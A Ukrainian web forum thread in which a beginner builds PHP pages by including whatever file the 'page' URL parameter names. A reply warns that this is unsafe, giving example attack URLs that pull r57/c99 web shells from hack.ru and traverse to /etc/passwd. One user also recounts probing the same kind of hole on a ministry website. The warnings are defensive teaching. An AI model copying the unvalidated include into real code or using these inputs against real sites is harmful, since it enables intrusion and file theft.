Автор Гілка: PHP: присвоєння змінної через адресу  (Прочитано 4562 раз)

romi

  • Гість
От є в мене index.php:
<html>
      <head>
            <meta http-equiv="Content-Type" content="text/html; charset=utf8" />
      </head>
      <body>
            <?php include $page?>
            <?php include "nyz.php"?>
      </body>
</html>
Вона знаходиться в мене у /var/www/localhost/htdocs/mysite2, тобто якщо у адресному рядку браузера ввести localhost/mysite2, то відкриється ця сторінка.
У мене проблема — не присвоюється змінна через адресу, тобто якщо спробувати зайти на http://localhost/mysite2/index.php?page=linux.php, то вміст linux.php не виводиться, хоча файл linux.php існує і він не є порожнім.
Що я не так зробив?

Версія PHP 5.2.13. Apache 2.2.15.

romi

  • Гість
Re: PHP: присвоєння змінної через адресу
« Відповідей #1 : 2010-05-10 13:58:37 »
Видає таку помилку:
Warning: include() [function.include]: Filename cannot be empty in /var/www/localhost/htdocs/mysite2/index.php  on line 9

Warning: include() [function.include]: Failed opening '' for inclusion (include_path='.:/usr/share/php5:/usr/share/php') in /var/www/localhost/htdocs/mysite2/index.php on line 9

romi

  • Гість
Re: PHP: присвоєння змінної через адресу
« Відповідей #2 : 2010-05-10 14:11:10 »
А якщо я цей свій сайт розміщую на безкоштовний хостинг byethost, то там помилки не видає, просто пусто.

romi

  • Гість
Re: PHP: присвоєння змінної через адресу
« Відповідей #3 : 2010-05-10 14:49:47 »
О, тут http://info-pages.com.ua/e/101 щось знайшов. Буду розбиратися.

romi

  • Гість
Re: PHP: присвоєння змінної через адресу
« Відповідей #4 : 2010-05-10 15:25:18 »
Зробив таке:
<html>
      <head>
            <title>
                  <?php include "nazvablogu.php"?>
            </title>
            <meta http-equiv="Content-Type" content="text/html; charset=utf8" />
      </head>
      <body>
            <?php if (!empty($_GET["page"])) { include "".$_GET["page"].""; } else { include "golovna.php"; } ?>
      </body>
</html>
І воно працює нормально.
Але, хочу спитати, оцей шматочок коду:
<?php if (!empty($_GET["page"])) { include "".$_GET["page"].""; } else { include "golovna.php"; } ?>
Якось можна покращити?

Відсутній Володимир Лісівка

  • Адміністратор ЩОДО
  • Видавець
  • *****
  • дописів: 3820
  • Карма: +11/-0
  • Програміст
Re: PHP: присвоєння змінної через адресу
« Відповідей #5 : 2010-05-10 15:44:59 »
Магічні змінні (нарешті) визнано диркою в безпеці, і вони заборонені.
[Fedora Linux]

romi

  • Гість
Re: PHP: присвоєння змінної через адресу
« Відповідей #6 : 2010-05-10 17:12:12 »
Магічні змінні (нарешті) визнано диркою в безпеці, і вони заборонені.
Це тому в мене не працює
<?php include $page?>
?

romi

  • Гість
Re: PHP: присвоєння змінної через адресу
« Відповідей #7 : 2010-05-10 20:28:38 »
Зробив цю
<?php if (!empty($_GET["page"])) { include "".$_GET["page"].""; } else { include "golovna.php"; } ?>конструкцію трошки простішою
<?php if (!empty($_GET['page'])) { include $_GET['page']; } else { include "golovna.php"; } ?>

Відсутній anatolijd

  • Графоман
  • ****
  • дописів: 325
  • Карма: +0/-0
Re: PHP: присвоєння змінної через адресу
« Відповідей #8 : 2010-05-11 15:03:03 »
Зробив таке:
....
І воно працює нормально.
Але, хочу спитати, оцей шматочок коду:
<?php if (!empty($_GET["page"])) { include "".$_GET["page"].""; } else { include "golovna.php"; } ?>
Якось можна покращити?


Е-е-е, не те щоби покращити...  просто отак бездумно інклудити те що приходить в ріквесті - це вважається дурним тоном.
тому що це тільки ви знаєте що значення змінної повинно співпадати з назвою ваших файлів, типу:
http://localhost/mysite2/index.php?page=linux.php

а от різні редіски та інші нехороші дяді будуть пихати вам туди стрічки типу:
http://localhost/mysite2/index.php?page=http://hack.ru/r57shell.php , або
http://localhost/mysite2/index.php?page=http://hack.ru/c99shell.php , або
http://localhost/mysite2/index.php?page=../../../../../../../etc/passwd

в перших двох випадках вам запхають нефігову таку тулзу (раджу нагуглити її і ознайомитись, дуже цікаво, свого роду швейцарський ніж для веб-адміна),
в останньому випадку - вас попросять показати весь вміст  вашого локального /etc/passwd ( або будь-чого іншого).

Погляньте сюди - http://www.shram.kiev.ua/hacker/phpincludesafe.shtml  ,  тут в двох словах написано чим це загрожує, і як від цього захищатись, решту по темі накопаєте самі.  
Взагалі це одна з "десяти найбільш розповсюдженіших помилок" при написанні коду на ПХП, спробуйте нагуглити решту 9 - дуже добре і цікаво читається й зекономите собі багато часу і нервів.

Можете ще це питання задати на профільному форумі  http://php.com.ua/forum/ - там вам напевно розкажуть чому так писати не треба :)

romi

  • Гість
Re: PHP: присвоєння змінної через адресу
« Відповідей #9 : 2010-05-11 15:22:20 »
http://localhost/mysite2/index.php?page=../../../../../../../etc/passwd
ААА !!!
в перших двох випадках вам запхають нефігову таку тулзу (раджу нагуглити її і ознайомитись, дуже цікаво, свого роду швейцарський ніж для веб-адміна),
в останньому випадку - вас попросять показати весь вміст  вашого локального /etc/passwd ( або будь-чого іншого).

Погляньте сюди - http://www.shram.kiev.ua/hacker/phpincludesafe.shtml  ,  тут в двох словах написано чим це загрожує, і як від цього захищатись, решту по темі накопаєте самі.  
Взагалі це одна з "десяти найбільш розповсюдженіших помилок" при написанні коду на ПХП, спробуйте нагуглити решту 9 - дуже добре і цікаво читається й зекономите собі багато часу і нервів.
Зрозумів. Дякую.

Відсутній piktor

  • Видавець
  • *******
  • дописів: 3396
  • Карма: +0/-0
Re: PHP: присвоєння змінної через адресу
« Відповідей #10 : 2010-05-11 16:57:58 »
ААА !!!
Така дебела діромеха до недавнього часу була на сайті Міністерства освіти та науки, в інтернетах навіть про це була статейка. Я з PHP не розбирався, тому обмежився переглядом /proc/cpuinfo і тому подібного (хотів /dev/urandom, але не став). Щоправда, першовідкрили цю дірку білі капелюшки, вони не стали дефейсити, а написали листа, тому на наступний день дірочку прикрили.
« Змінено: 2010-05-11 16:59:37 від Piktor »
Всим, хто тоне й не знає,
За що вхопитись,
Хто вже з останніх
Вибився сил:
Попереджаю - я не колода,
Попереджаю - я крокодил.

romi

  • Гість
Re: PHP: присвоєння змінної через адресу
« Відповідей #11 : 2010-05-13 16:33:36 »
Створив я такий index.php:
<?php
      
if (is_numeric($_GET['page'])) 
      {
            
$var substr($_GET['page'],0,128);
            
$_GET['page'] = ($_GET['page'].".php");
            if (
file_exists($_GET['page']))
            {
            
$zmist $_GET['page'];
            
$file_array file($_GET['page']);
            
$nazvastorinky $file_array[0];
            }
            else
            {
                  
$nazvastorinky "404";
                  
$zmistdef "Сторінку не знайдено.";
            }
      }
      else 
      {
            if (empty(
$_GET['page'])) 
            {
            
$nazvastorinky "Головна";
            
$zmistgol "golovna.php";
            }
            else
            {
            
$nazvastorinky "404";
            
$zmistdef "Ви помилились адресою";
            }
      }
?>

<html>
      <head>
            <title>
                  <?php include "nazvasaitu.php"; echo " — "; echo $nazvastorinky?>
            </title>
            <meta http-equiv="Content-Type" content="text/html; charset=utf8" />
      </head>
      <body>
            <?php 
                  
if (empty($zmist))
                  {
                        if (empty(
$zmistgol))
                              {
                                    echo 
$zmistdef;
                              }
                              else
                              {
                                    include 
$zmistgol;
                              }
                  }
                  else
                  {
                        {
                              
$num_str count($file_array);
                              for(
$a 1$a $num_str$a++)
                              {
                                    echo 
$file_array[$a];
                              }
                        }
                  } 
                  include 
"nyz.php";
            
?>

В ньому немає вразливостей?

Відсутній StarWolf

  • Кореспондент
  • ***
  • дописів: 109
  • Карма: +0/-0
  • Олхімік
Re: PHP: присвоєння змінної через адресу
« Відповідей #12 : 2010-05-22 19:21:42 »
Я можу помилятись, але він хоч працює? O_O
[Arch Linux] [Awesome WM]

romi

  • Гість
Re: PHP: присвоєння змінної через адресу
« Відповідей #13 : 2010-05-22 22:11:29 »
Я можу помилятись, але він хоч працює? O_O
Так, працює, але за умови якщо файли nazvasaitu.php, 404.php, nyz.php і golovna.php існують.
Але я собі вже зробив такий index.php:
<?php
if (empty($_GET['stor']))
{
      
$stor "1.php";
}
else
{
      if (
is_numeric($_GET['stor']))
      {
            
$stor = ($_GET['stor'].".php");
            if (!
file_exists($stor))
            {
                  
$stor "404.php";
            }
      }
      else
      {
            
$stor "404.php";
      }
}
$tempfile = ("tmp/".$stor);
if (
file_exists($tempfile))
{
      
unlink($tempfile);
}
$file_array file($stor);
$numstr count($file_array);
if (
$numstr)
      {
            
$file_array file("nedoroblena.php");
            
$bulo fopen($tempfile,"a");
            
$dobtext $file_array[1];
            
fwrite($bulo,$dobtext);
            
$file_array file($stor);
      }
      else
      {
            for(
$a 1$a $numstr$a++)
            {
                  
$bulo fopen($tempfile,"a");
                  
$dobtext $file_array[$a];
                  
fwrite($bulo,$dobtext);
            }
      }
$zago $file_array[0];
?>

<html>
      <head>
            <title>
                  <?php echo $zago?>
            </title>
            <meta http-equiv="Content-Type" content="text/html; charset=utf8" />
      </head>
      <body>
            <?php include $tempfileunlink($tempfile); ?>
      </body>
</html>

Відсутній BugsString

  • Новачок
  • *
  • дописів: 13
  • Карма: +0/-0
  • I Love YaBB 2!
Re: PHP: присвоєння змінної через адресу
« Відповідей #14 : 2010-06-01 09:23:39 »
я вже й забув, як це писати код повністю самостійно ))) CodeIgniter рулить....